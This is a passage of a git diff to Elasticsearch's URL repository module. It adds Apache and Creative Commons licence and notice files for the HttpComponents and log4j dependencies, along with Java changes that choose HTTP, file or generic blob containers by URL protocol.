b/modules/repository-url/licenses/httpclient-NOTICE.txt @@ -0,0 +1,6 @@ +Apache HttpComponents Client +Copyright 1999-2016 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + diff --git a/modules/repository-url/licenses/httpcore-4.4.12.jar.sha1 b/modules/repository-url/licenses/httpcore-4.4.12.jar.sha1 new file mode 100644 index 0000000000000..3c046171b30da --- /dev/null +++ b/modules/repository-url/licenses/httpcore-4.4.12.jar.sha1 @@ -0,0 +1 @@ +21ebaf6d532bc350ba95bd81938fa5f0e511c132 \ No newline at end of file diff --git a/modules/repository-url/licenses/httpcore-LICENSE.txt b/modules/repository-url/licenses/httpcore-LICENSE.txt new file mode 100644 index 0000000000000..72819a9f06f2a --- /dev/null +++ b/modules/repository-url/licenses/httpcore-LICENSE.txt @@ -0,0 +1,241 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + +========================================================================= + +This project contains annotations in the package org.apache.http.annotation +which are derived from JCIP-ANNOTATIONS +Copyright (c) 2005 Brian Goetz and Tim Peierls. +See http://www.jcip.net and the Creative Commons Attribution License +(http://creativecommons.org/licenses/by/2.5) +Full text: http://creativecommons.org/licenses/by/2.5/legalcode + +License + +THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. + +BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. + +1. Definitions + + "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License. + "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License. + "Licensor" means the individual or entity that offers the Work under the terms of this License. + "Original Author" means the individual or entity who created the Work. + "Work" means the copyrightable work of authorship offered under the terms of this License. + "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation. + +2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws. + +3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below: + + to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works; + to create and reproduce Derivative Works; + to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works; + to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works. + + For the avoidance of doubt, where the work is a musical composition: + Performance Royalties Under Blanket Licenses. Licensor waives the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work. + Mechanical Rights and Statutory Royalties. Licensor waives the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions). + Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor waives the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions). + +The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved. + +4. Restrictions.The license granted in Section 3 above is expressly made subject to and limited by the following restrictions: + + You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(b), as requested. + If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit. + +5. Representations, Warranties and Disclaimer + +UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. + +6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +7. Termination + + This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. + Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above. + +8. Miscellaneous + + Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License. + Each time You distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License. + If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. + No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent. + This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You. diff --git a/modules/repository-url/licenses/httpcore-NOTICE.txt b/modules/repository-url/licenses/httpcore-NOTICE.txt new file mode 100644 index 0000000000000..c0be50a505ec1 --- /dev/null +++ b/modules/repository-url/licenses/httpcore-NOTICE.txt @@ -0,0 +1,8 @@ +Apache HttpComponents Core +Copyright 2005-2014 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + +This project contains annotations derived from JCIP-ANNOTATIONS +Copyright (c) 2005 Brian Goetz and Tim Peierls. See http://www.jcip.net diff --git a/modules/repository-url/licenses/log4j-1.2-api-2.11.1.jar.sha1 b/modules/repository-url/licenses/log4j-1.2-api-2.11.1.jar.sha1 new file mode 100644 index 0000000000000..575d75dbda8c5 --- /dev/null +++ b/modules/repository-url/licenses/log4j-1.2-api-2.11.1.jar.sha1 @@ -0,0 +1 @@ +3aba3398fe064a3eab4331f88161c7480e848418 \ No newline at end of file diff --git a/modules/repository-url/licenses/log4j-LICENSE.txt b/modules/repository-url/licenses/log4j-LICENSE.txt new file mode 100644 index 0000000000000..6279e5206de13 --- /dev/null +++ b/modules/repository-url/licenses/log4j-LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 1999-2005 The Apache Software Foundation + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/repository-url/licenses/log4j-NOTICE.txt b/modules/repository-url/licenses/log4j-NOTICE.txt new file mode 100644 index 0000000000000..0375732360047 --- /dev/null +++ b/modules/repository-url/licenses/log4j-NOTICE.txt @@ -0,0 +1,5 @@ +Apache log4j +Copyright 2007 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). \ No newline at end of file diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/FileURLBlobContainer.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/FileURLBlobContainer.java new file mode 100644 index 0000000000000..27fafe39b60cf --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/FileURLBlobContainer.java @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url; + +import org.elasticsearch.common.blobstore.BlobPath; + +import java.io.InputStream; +import java.net.URL; + +public class FileURLBlobContainer extends URLBlobContainer { + public FileURLBlobContainer(URLBlobStore blobStore, BlobPath blobPath, URL path) { + super(blobStore, blobPath, path); + } + + @Override + public InputStream readBlob(String blobName, long position, long length) { + throw new UnsupportedOperationException("URL repository doesn't support this operation. Please use a 'fs' repository instead"); + } +} diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobContainer.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobContainer.java index b04a3dbd746d3..c04a6cb28c2b8 100644 --- a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobContainer.java +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobContainer.java @@ -25,7 +25,7 @@ import java.security.AccessController; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; -import java.util.List; +import java.util.Iterator; import java.util.Map; /** @@ -93,7 +93,7 @@ public Map listBlobsByPrefix(String blobNamePrefix) throws * This operation is not supported by URLBlobContainer */ @Override - public void deleteBlobsIgnoringIfNotExists(List blobNames) { + public void deleteBlobsIgnoringIfNotExists(Iterator blobNames) { throw new UnsupportedOperationException("URL repository is read only"); } @@ -107,13 +107,13 @@ public InputStream readBlob(String name) throws IOException { try { return new BufferedInputStream(getInputStream(new URL(path, name)), blobStore.bufferSizeInBytes()); } catch (FileNotFoundException fnfe) { - throw new NoSuchFileException("[" + name + "] blob not found"); + throw new NoSuchFileException("blob object [" + name + "] not found"); } } @Override public InputStream readBlob(String blobName, long position, long length) throws IOException { - throw new UnsupportedOperationException(); + throw new UnsupportedOperationException("URL repository doesn't support this operation"); } @Override diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobStore.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobStore.java index 0b7fb194567d9..33f10810b37ed 100644 --- a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobStore.java +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/URLBlobStore.java @@ -8,25 +8,39 @@ package org.elasticsearch.common.blobstore.url; +import org.elasticsearch.common.CheckedFunction; import org.elasticsearch.common.blobstore.BlobContainer; import org.elasticsearch.common.blobstore.BlobPath; import org.elasticsearch.common.blobstore.BlobStore; import org.elasticsearch.common.blobstore.BlobStoreException; +import org.elasticsearch.common.blobstore.url.http.HttpURLBlobContainer; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; +import org.elasticsearch.common.blobstore.url.http.URLHttpClientSettings; +import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.unit.ByteSizeUnit; import org.elasticsearch.common.unit.ByteSizeValue; import java.net.MalformedURLException; import java.net.URL; +import java.util.List; /** * Read-only URL-based blob store */ public class URLBlobStore implements BlobStore { + static final Setting BUFFER_SIZE_SETTING = Setting.byteSizeSetting( + "repositories.uri.buffer_size", + new ByteSizeValue(100, ByteSizeUnit.KB), + Setting.Property.NodeScope + ); + + private final URL path; private final int bufferSizeInBytes; + private final CheckedFunction blobContainerFactory; /** * Constructs new read-only URL-based blob store @@ -40,10 +54,19 @@ public class URLBlobStore implements BlobStore { * @param settings settings * @param path base URL */ - public URLBlobStore(Settings settings, URL path) { + public URLBlobStore(Settings settings, URL path, URLHttpClient httpClient, URLHttpClientSettings httpClientSettings) { this.path = path; - this.bufferSizeInBytes = (int) settings.getAsBytesSize("repositories.uri.buffer_size", - new ByteSizeValue(100, ByteSizeUnit.KB)).getBytes(); + this.bufferSizeInBytes = (int) BUFFER_SIZE_SETTING.get(settings).getBytes(); + + final String protocol = this.path.getProtocol(); + if (protocol.equals("http") || protocol.equals("https")) { + this.blobContainerFactory = (blobPath) -> + new HttpURLBlobContainer(this, blobPath, buildPath(blobPath), httpClient, httpClientSettings); + } else if (protocol.equals("file")) { + this.blobContainerFactory = (blobPath) -> new FileURLBlobContainer(this, blobPath, buildPath(blobPath)); + } else { + this.blobContainerFactory = (blobPath) -> new URLBlobContainer(this, blobPath, buildPath(blobPath)); + } } @Override @@ -72,7 +95,7 @@ public int bufferSizeInBytes() { @Override public BlobContainer blobContainer(BlobPath path) { try { - return new URLBlobContainer(this, path, buildPath(path)); + return blobContainerFactory.apply(path); } catch (MalformedURLException ex) { throw new BlobStoreException("malformed URL " + path, ex); } @@ -90,15 +113,13 @@ public void close() { * @return Base URL + path */ private URL buildPath(BlobPath path) throws MalformedURLException { - String[] paths = path.toArray(); - if (paths.length == 0) { + List paths = path.parts(); + if (paths.isEmpty()) { return path(); } - URL blobPath = new URL(this.path, paths[0] + "/"); - if (paths.length > 1) { - for (int i = 1; i < paths.length; i++) { - blobPath = new URL(blobPath, paths[i] + "/"); - } + URL blobPath = new URL(this.path, paths.get(0) + "/"); + for (int i = 1; i < paths.size(); i++) { + blobPath = new URL(blobPath, paths.get(i) + "/"); } return blobPath; } diff --git a/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpResponseInputStream.java b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpResponseInputStream.java new file mode 100644 index 0000000000000..9eb97b60c4537 --- /dev/null +++ b/modules/repository-url/src/main/java/org/elasticsearch/common/blobstore/url/http/HttpResponseInputStream.java @@ -0,0 +1,86 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.common.blobstore.url.http; + +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpRequestBase; + +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; + +public 